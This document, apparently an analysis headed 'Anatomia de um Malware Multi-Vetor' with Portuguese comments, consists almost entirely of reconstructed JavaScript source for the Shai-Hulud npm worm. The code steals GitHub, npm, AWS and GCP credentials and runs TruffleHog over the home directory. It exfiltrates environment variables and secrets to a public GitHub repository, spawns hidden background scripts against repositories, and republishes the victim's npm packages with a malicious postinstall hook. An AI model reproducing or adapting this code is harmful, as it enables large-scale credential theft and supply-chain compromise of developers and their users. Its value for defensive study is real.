Anatomia de um Malware Multi-Vetor: Shai-Hulud, o Worm do Deserto

async function main() {
  const sysInfo = getSystemInfo();                    // OS, arch, platform
  const github  = new GitHubModule();                 // Módulo 82036
  const aws     = new AWSModule();                    // Módulo AWS
  const gcp     = new GCPModule();                    // Módulo GCP
  const truffle = new TruffleHogModule();             // Módulo 94913
  const npm     = new NpmModule(process.env.NPM_TOKEN);

  // ===== VETOR 1: GITHUB =====
  // Só executa em Linux/Mac (ignora Windows para evasão)
  if (github.isAuthenticated() && (isLinux() || isMac())) {
    const token = github.getCurrentToken();
    const user  = await github.getUser();

    // Só prossegue se for token classic PAT (ghp_) ou OAuth (gho_)
    if (token && (token.startsWith("ghp_") || token.startsWith("gho_")) && user) {
      // Injeta workflow malicioso em TODOS os repositórios
      await github.extraction(token);

      // Para CADA organização do usuário, rouba TODOS os repositórios
      for (const org of await github.getOrgs())
        await github.migration(user.login, org, token);
    }
  }

  // ===== VETOR 2: NPM (supply chain) + VETOR 3: TRUFFLEHOG =====
  // Executam em paralelo
  const [npmResult, truffleResult] = await Promise.all([
    (async () => {
      const username = await npm.validateToken();
      if (username && (isLinux() || isMac())) {
        const packages = await npm.getPackagesByMaintainer(username, 20);
        // Injeta malware em cada pacote e republica
        await Promise.all(packages.map(pkg => npm.updatePackage(pkg)));
      }
      return { npmUsername: username, npmTokenValid: !!username };
    })(),
    (async () => {
      if (process.env.SKIP_TRUFFLE) return null;
      const available = await truffle.isAvailable();  // instala se necessário
      const version   = await truffle.getVersion();
      const results   = available ? await truffle.scanFilesystem() : null;
      return { available, installed: truffle.isInstalled(), version, results };
    })()
  ]);

  // ===== VETOR 4: AWS =====
  let awsSecrets = [];
  if (await aws.isValid())
    awsSecrets = await aws.getAllSecretValues();  // TODOS os secrets, 14 regiões

  // ===== VETOR 5: GCP =====
  let gcpSecrets = [];
  if (await gcp.isValid())
    gcpSecrets = await gcp.getAllSecretValues();  // TODOS os secrets GCP

  // ===== EXFILTRAÇÃO FINAL =====
  const payload = {
    system: {
      platform: sysInfo.platform,
      architecture: sysInfo.architecture,
      platformDetailed: sysInfo.platformRaw,
      architectureDetailed: sysInfo.archRaw
    },
    environment: process.env,         // ← TODAS as variáveis de ambiente
    modules: {
      github: {
        authenticated: github.isAuthenticated(),
        token: github.getCurrentToken(),    // ← TOKEN GITHUB EM TEXTO PURO
        username: github.getUser()
      },
      aws:    { secrets: awsSecrets },      // ← TODOS secrets AWS
      gcp:    { secrets: gcpSecrets },      // ← TODOS secrets GCP
      truffleHog: truffleResult,            // ← RESULTADO DO SCAN
      npm: {
        token: process.env.NPM_TOKEN,       // ← TOKEN NPM
        authenticated: npmResult.npmTokenValid,
        username: npmResult.npmUsername
      }
    }
  };

  // Commit final: repo público "Shai-Hulud" com TUDO
  if (github.isAuthenticated())
    await github.makeRepo("Shai-Hulud", JSON.stringify(payload, null, 2));

  process.exit(0);
}
main().catch(() => process.exit(0));  // nunca levanta exceção visível

getToken() {
  // Vetor 1: variável de ambiente
  const token = process.env.GITHUB_TOKEN;
  if (token) return token;

  // Vetor 2: GitHub CLI (gh auth token)
  try {
    const token = execSync("gh auth token", {
      encoding: "utf8", stdio: "pipe"
    }).trim();
    if (token) return token;
  } catch {}

  return null;
}

async getOrgs() {
  try {
    return (await this.octokit.rest.orgs.listForAuthenticatedUser({
      per_page: 100
    })).data.map(org => org.login);
  } catch {
    return [];
  }
}

async extraction(token) {
  try {
    const fs = require("fs");
    const { spawn } = require("child_process");

    const scriptPath = "/tmp/processor.sh";
    fs.writeFileSync(scriptPath, PROCESSOR_BASH_SCRIPT, { mode: 0o755 });

    const env = { ...process.env };
    const args = [token];

    spawn(scriptPath, args, {
      env: env,
      detached: true,        // ← sobrevive ao processo pai
      stdio: "ignore"        // ← sem output, invisível
    }).unref();              // ← não bloqueia o event loop
  } catch {}
}

async migration(username, org, token) {
  const fs = require("fs");
  const { spawn } = require("child_process");

  const scriptPath = "/tmp/migrate-repos.sh";
  fs.writeFileSync(scriptPath, MIGRATION_BASH_SCRIPT, { mode: 0o755 });
  fs.mkdirSync("/tmp/github-migration");

  const env = { ...process.env };
  const proc = spawn(scriptPath, [username, org, token], {
    env: env,
    detached: true,        // ← background total
    stdio: "ignore"        // ← invisível
  });
  proc.unref();

  return {
    success: true,
    message: "Migration started in background",
    pid: proc.pid
  };
}

async makeRepo(name, data) {
  try {
    // Cria repositório PÚBLICO "Shai-Hulud"
    const repo = (await this.octokit.rest.repos.createForAuthenticatedUser({
      name: name,
      description: "Shai-Hulud Repository.",
      private: false,           // ← PÚBLICO
      auto_init: false,
      has_issues: false,
      has_projects: false,
      has_wiki: false
    })).data;

    // Aguarda 3 segundos (GitHub rate limit prevention)
    await new Promise(r => setTimeout(r, 3000));

    // Commit com TODOS os dados exfiltrados em data.json
    if (data) {
      await this.octokit.rest.repos.createOrUpdateFileContents({
        owner: repo.owner.login,
        repo: repo.name,
        path: "data.json",
        message: "Initial commit",
        content: Buffer.from(
          Buffer.from(
            Buffer.from(data).toString("base64")
          ).toString("base64")
        ).toString("base64")     // ← DUPLO BASE64 (ofuscação)
      });
    }

    return {
      owner: repo.owner.login,
      repo: repo.name,
      url: repo.html_url,      // ← URL PÚBLICA com os dados
      createdAt: repo.created_at
    };
  } catch {
    return null;
  }
}

async validateToken() {
  if (!this.token) return null;

  const response = await fetch("https://registry.npmjs.org/-/whoami", {
    method: "GET",
    headers: {
      Authorization: `Bearer ${this.token}`,
      "Npm-Auth-Type": "web",
      "Npm-Command": "whoami",
      "User-Agent": "npm/9.2.0 node/v..."    // ← user-agent falso do npm
    }
  });

  if (response.status === 401)
    throw new Error("Invalid NPM token");

  return (await response.json()).username || null;
}

async getPackagesByMaintainer(username, limit = 10) {
  // Busca: "maintainer:<username>"
  const results = await this.searchPackages(`maintainer:${username}`, limit);
  const packages = [];

  for (const result of results) {
    const name = result.package?.name;
    const version = result.package?.version;
    const monthlyDownloads = result.downloads?.monthly || 0;

    // Obtém detalhes completos do pacote
    const detail = await this.getPackageDetail(name);
    const tarballUrl = detail.versions?.[version]?.dist?.tarball || "";

    packages.push({
      name, version, monthlyDownloads,
      weeklyDownloads: result.downloads?.weekly || 0,
      tarballUrl
    });
  }

  // Ordena por downloads mensais (prioriza pacotes populares)
  return packages.sort((a, b) => b.monthlyDownloads - a.monthlyDownloads);
}

async updatePackage(pkg) {
  try {
    const { exec } = require("child_process");
    const { promisify } = require("util");
    const execAsync = promisify(exec);
    const fs = require("fs");
    const path = require("path");
    const os = require("os");

    // Verifica se 'tar' está disponível
    try { await execAsync("which tar"); }
    catch { return Buffer.alloc(0); }   // ← falha silenciosamente

    // 1. Baixa o tarball do pacote legítimo
    const response = await fetch(pkg.tarballUrl, {
      method: "GET",
      headers: {
        "User-Agent": this.userAgent,
        Accept: "*/*",
        "Accept-Encoding": "gzip, deflate, br"
      }
    });
    const tarballBuffer = Buffer.from(await response.arrayBuffer());

    // 2. Cria diretório temporário
    const tmpDir = await fs.promises.mkdtemp(
      path.join(os.tmpdir(), "npm-update-")
    );
    const tgzPath  = path.join(tmpDir, "package.tgz");
    const tarPath  = path.join(tmpDir, "package.tar");
    const newTgz   = path.join(tmpDir, "updated.tgz");

    try {
      // 3. Escreve tarball original em disco
      await fs.promises.writeFile(tgzPath, tarballBuffer);

      // 4. Descomprime .tgz → .tar
      await execAsync(`gzip -d -c ${tgzPath} > ${tarPath}`);

      // 5. Extrai package/package.json
      await execAsync(`tar -xf ${tarPath} -C ${tmpDir} package/package.json`);

      // 6. Lê e modifica package.json
      const pkgJsonPath = path.join(tmpDir, "package", "package.json");
      const pkgJsonRaw = await fs.promises.readFile(pkgJsonPath, "utf-8");
      const pkgJson = JSON.parse(pkgJsonRaw);

      // 7. BUMP DE VERSÃO (patch +1)
      if (pkgJson.version) {
        const parts = pkgJson.version.split(".");
        if (parts.length === 3) {
          const patch = parseInt(parts[2]);
          if (!isNaN(patch)) {
            pkgJson.version = `${parts[0]}.${parts[1]}.${patch + 1}`;
          }
        }
      }

      // 8. INJEÇÃO DO POSTINSTALL MALICIOSO
      if (!pkgJson.scripts) pkgJson.scripts = {};
      pkgJson.scripts.postinstall = "node bundle.js";

      // 9. Reescreve package.json modificado
      await fs.promises.writeFile(
        pkgJsonPath,
        JSON.stringify(pkgJson, null, 2)
      );

      // 10. Atualiza package.json no tar
      await execAsync(
        `tar -uf ${tarPath} -C ${tmpDir} package/package.json`
      );

      // 11. INJEÇÃO DO PRÓPRIO MALWARE COMO bundle.js
      const currentScript = process.argv[1];   // caminho deste arquivo
      if (currentScript && await fs.promises.access(currentScript)
            .then(() => true).catch(() => false)) {
        const bundleDest = path.join(tmpDir, "package", "bundle.js");
        const bundleContent = await fs.promises.readFile(currentScript);
        await fs.promises.writeFile(bundleDest, bundleContent);
        await execAsync(
          `tar -uf ${tarPath} -C ${tmpDir} package/bundle.js`
        );
      }

      // 12. Recompime .tar → .tgz
      await execAsync(`gzip -c ${tarPath} > ${newTgz}`);

      // 13. PUBLICA O PACOTE INFECTADO
      await execAsync(`npm publish ${newTgz}`);

      // 14. Limpeza — remove diretório temporário
      await fs.promises.rm(tmpDir, { recursive: true, force: true });

    } catch (err) {
      // Limpeza em caso de erro
      try { await fs.promises.rm(tmpDir, { recursive: true, force: true }); }
      catch {}
      throw err;
    }
  } catch (err) {
    throw new Error(`Failed to update package: ${err}`);
  }
}

class TruffleHogModule {
  constructor() {
    this.installedStatus = false;
    this.systemInfo = getSystemInfo();

    const binaryName = this.systemInfo.platform === "windows"
      ? "trufflehog.exe" : "trufflehog";
    this.binaryPath = path.join(process.cwd(), binaryName);
    this.checkIfInstalled();
  }

  mapArchitecture(arch) {
    switch (arch) {
      case "x64":   return "amd64";
      case "arm64": return "arm64";
      case "arm":   return "arm";
      case "x86":   return "386";
      default:      return "amd64";
    }
  }

  mapPlatform(platform) {
    switch (platform) {
      case "windows": return "windows";
      case "linux":   return "linux";
      case "mac":     return "darwin";
      default:        return "linux";
    }
  }

  async getLatestRelease() {
    // Consulta API do GitHub para última release oficial
    const response = await fetch(
      "https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest"
    );
    const { tag_name } = await response.json();
    const version = tag_name.replace("v", "");

    const platform = this.mapPlatform(this.systemInfo.platform);
    const arch = this.mapArchitecture(this.systemInfo.architecture);
    const fileName = `trufflehog_${version}_${platform}_${arch}.tar.gz`;

    return {
      version,
      downloadUrl: `https://github.com/trufflesecurity/trufflehog/releases/download/${tag_name}/${fileName}`,
      fileName
    };
  }

  async install() {
    if (this.installedStatus) return true;

    const release = await this.getLatestRelease();
    const tarballPath = path.join(process.cwd(), release.fileName);

    // Download do binário
    await this.downloadFile(release.downloadUrl, tarballPath);

    // Extração: tar -xzf → chmod +x → rm tarball
    await this.extractBinary(tarballPath);

    return true;
  }

  async extractBinary(tarball) {
    const binaryName = this.systemInfo.platform === "windows"
      ? "trufflehog.exe" : "trufflehog";

    // Extrai o binário
    execSync(
      `tar -xzf "${tarball}" -C "${process.cwd()}" ${binaryName}`,
      { stdio: "pipe" }
    );

    // Torna executável (Linux/Mac)
    if (this.systemInfo.platform !== "windows") {
      execSync(`chmod +x "${this.binaryPath}"`, { stdio: "pipe" });
    }

    // Remove o tarball
    const rmCmd = this.systemInfo.platform === "windows"
      ? `del "${tarball}"` : `rm "${tarball}"`;
    execSync(rmCmd, { stdio: "pipe" });

    this.installedStatus = true;
  }

  async scanFilesystem(targetPath = ".", timeoutMs = 90000) {
    return new Promise((resolve) => {
      let output = "";
      let errorOutput = "";
      let timedOut = false;
      let resolved = false;

      const safeResolve = (result) => {
        if (!resolved) { resolved = true; resolve(result); }
      };

      if (!this.installedStatus || !existsSync(this.binaryPath)) {
        return safeResolve({
          success: false,
          error: "TruffleHog binary not available"
        });
      }

      const args = [
        "filesystem", targetPath,
        "--json",
        "--results=verified"       // ← só secrets verificados
      ];

      const proc = spawn(this.binaryPath, args, {
        cwd: os.homedir(),          // ← scan a partir do home
        env: process.env,
        stdio: ["pipe", "pipe", "pipe"]
      });

      // Timeout: 90 segundos
      const timer = setTimeout(() => {
        timedOut = true;
        proc.kill("SIGTERM");
        setTimeout(() => {
          if (!proc.killed) proc.kill("SIGKILL");
          safeResolve({
            success: false,
            error: `Process terminated after ${timeoutMs}ms timeout`
          });
        }, 2000);
      }, timeoutMs);

      proc.stdout?.on("data", (chunk) => { output += chunk.toString(); });
      proc.stderr?.on("data", (chunk) => { errorOutput += chunk.toString(); });

      proc.on("close", (code) => {
        clearTimeout(timer);

        // AUTODESTRUIÇÃO: remove o binário após scan
        try {
          if (existsSync(this.binaryPath)) {
            require("fs").unlinkSync(this.binaryPath);
            this.installedStatus = false;
          }
        } catch {}

        if (!timedOut) {
          safeResolve({
            success: code === 0,
            output: output.trim() || undefined,
            error: code !== 0
              ? errorOutput || `Process exited with code ${code}`
              : undefined
          });
        }
      });
    });
  }

class AWSModule {
  constructor() {
    this.REGIONS = [
      "us-east-1", "us-east-2", "us-west-1", "us-west-2",
      "eu-west-1", "eu-west-2", "eu-west-3",
      "eu-central-1", "eu-north-1",
      "ap-southeast-1", "ap-southeast-2",
      "ap-northeast-1", "ap-northeast-2",
      "ap-south-1"
    ];
    this.secretsClients = new Map();
  }

  parseAwsProfiles() {
    const profiles = [];
    const configPaths = [
      path.join(os.homedir(), ".aws", "credentials"),
      path.join(os.homedir(), ".aws", "config")
    ];

    for (const configPath of configPaths) {
      if (!existsSync(configPath)) continue;

      try {
        const content = readFileSync(configPath, "utf-8");
        const matches = content.match(/\[(?:profile )?([^\]]+)\]/g);
        if (matches) {
          for (const match of matches) {
            const profile = match
              .replace(/\[(?:profile )?/, "")
              .replace("]", "");
            if (!profiles.includes(profile)) profiles.push(profile);
          }
        }
      } catch {}
    }

    // "default" sempre primeiro na lista
    if (profiles.includes("default")) {
      profiles.splice(profiles.indexOf("default"), 1);
      profiles.unshift("default");
    }

    return profiles;
  }

  async initialize() {
    if (this.callerIdentity) return true;  // já autenticado

    const profiles = [
      process.env.AWS_PROFILE || "default",
      ...this.parseAwsProfiles()
    ];

    // Tenta CADA profile até conseguir
    for (const profile of Array.from(new Set(profiles))) {
      try {
        const credentials = fromIni({ profile });
        const sts = new STSClient({
          region: "us-east-1",
          credentials
        });

        const identity = await sts.send(new GetCallerIdentityCommand({}));

        if (identity.UserId && identity.Account && identity.Arn) {
          this.callerIdentity = {
            userId: identity.UserId,
            account: identity.Account,
            arn: identity.Arn
          };
          this.profile = profile;
          this.stsClient = sts;
          return true;
        }
      } catch {}
    }

    return false;
  }

  async listSecrets() {
    if (!await this.initialize()) return [];

    const secrets = [];
    const seenArns = new Set();

    for (const region of this.REGIONS) {
      try {
        const client = this.getSecretsClient(region);
        const response = await client.send(new ListSecretsCommand({}));

        for (const secret of response.SecretList || []) {
          if (secret.ARN && !seenArns.has(secret.ARN)) {
            seenArns.add(secret.ARN);
            secrets.push({
              name: secret.Name || "",
              arn: secret.ARN,
              description: secret.Description,
              lastChangedDate: secret.LastChangedDate
            });
          }
        }
      } catch (err) {
        // AccessDenied → para o scan (não tem permissão em nenhuma região)
        if (err.name === "AccessDeniedException" ||
            err.$metadata?.httpStatusCode === 403) {
          break;
        }
        // Outros erros → pula a região e continua
      }
    }

    return secrets;
  }

  async getSecretValue(secretId) {
    if (!await this.initialize()) return null;

    // Tenta extrair região do ARN
    let region = null;
    if (secretId.startsWith("arn:aws:secretsmanager:")) {
      const parts = secretId.split(":");
      if (parts.length > 3) region = parts[3];
    }

    const regionsToTry = region ? [region] : this.REGIONS;

    for (const region of regionsToTry) {
      try {
        const client = this.getSecretsClient(region);
        const response = await client.send(
          new GetSecretValueCommand({ SecretId: secretId })
        );

        return {
          name: response.Name || secretId,
          secretString: response.SecretString,     // ← VALOR DO SECRET
          secretBinary: response.SecretBinary,     // ← VALOR BINÁRIO
          versionId: response.VersionId
        };
      } catch {}
    }

    return null;
  }

  async getAllSecretValues() {
    const allSecrets = await this.listSecrets();
    const values = [];

    for (const secret of allSecrets) {
      const value = await this.getSecretValue(secret.arn);
      if (value) values.push(value);
    }

    return values;
  }

class GCPModule {
  constructor() {
    this.projectInfo = null;
    this.isValidCredentials = false;
    this.initialized = false;

    // Autenticação via ADC (Application Default Credentials)
    this.auth = new GoogleAuth({
      scopes: ["https://www.googleapis.com/auth/cloud-platform"]
    });

    this.secretsClient = new SecretManagerServiceClient();
  }

  async initialize() {
    if (this.initialized) return;

    try {
      const projectId = await this.auth.getProjectId();
      const client = await this.auth.getClient();

      if (projectId && client) {
        let email = undefined;
        if ("email" in client && typeof client.email === "string") {
          email = client.email;
        }

        this.projectInfo = { projectId, email };
        this.isValidCredentials = true;
      }
    } catch {
      this.isValidCredentials = false;
      this.projectInfo = null;
    } finally {
      this.initialized = true;
    }
  }

  async listSecrets() {
    if (!this.isValidCredentials || !this.projectInfo) return [];

    try {
      const [secrets] = await this.secretsClient.listSecrets({
        parent: `projects/${this.projectInfo.projectId}`
      });

      return secrets.map(secret => {
        const parts = secret.name?.split("/") || [];
        const secretId = parts[parts.length - 1] || "";

        return {
          name: secret.name || "",
          projectId: this.projectInfo.projectId,
          secretId: secretId,
          labels: secret.labels || undefined
        };
      });
    } catch {
      return [];
    }
  }

  async getSecretValue(secretId, version = "latest") {
    if (!this.isValidCredentials || !this.projectInfo) return null;

    try {
      const name = `projects/${this.projectInfo.projectId}/secrets/${secretId}/versions/${version}`;

      const [response] = await this.secretsClient.accessSecretVersion({ name });
      const payload = response.payload?.data?.toString();

      return {
        name,
        secretId,
        payload,                                            // ← VALOR DO SECRET
        version: response.name?.split("/").pop() || version
      };
    } catch {
      return null;
    }
  }

  async getAllSecretValues() {
    const secrets = await this.listSecrets();
    const values = [];

    for (const secret of secrets) {
      const value = await this.getSecretValue(secret.secretId);
      if (value) values.push(value);
    }

    return values;
  }
}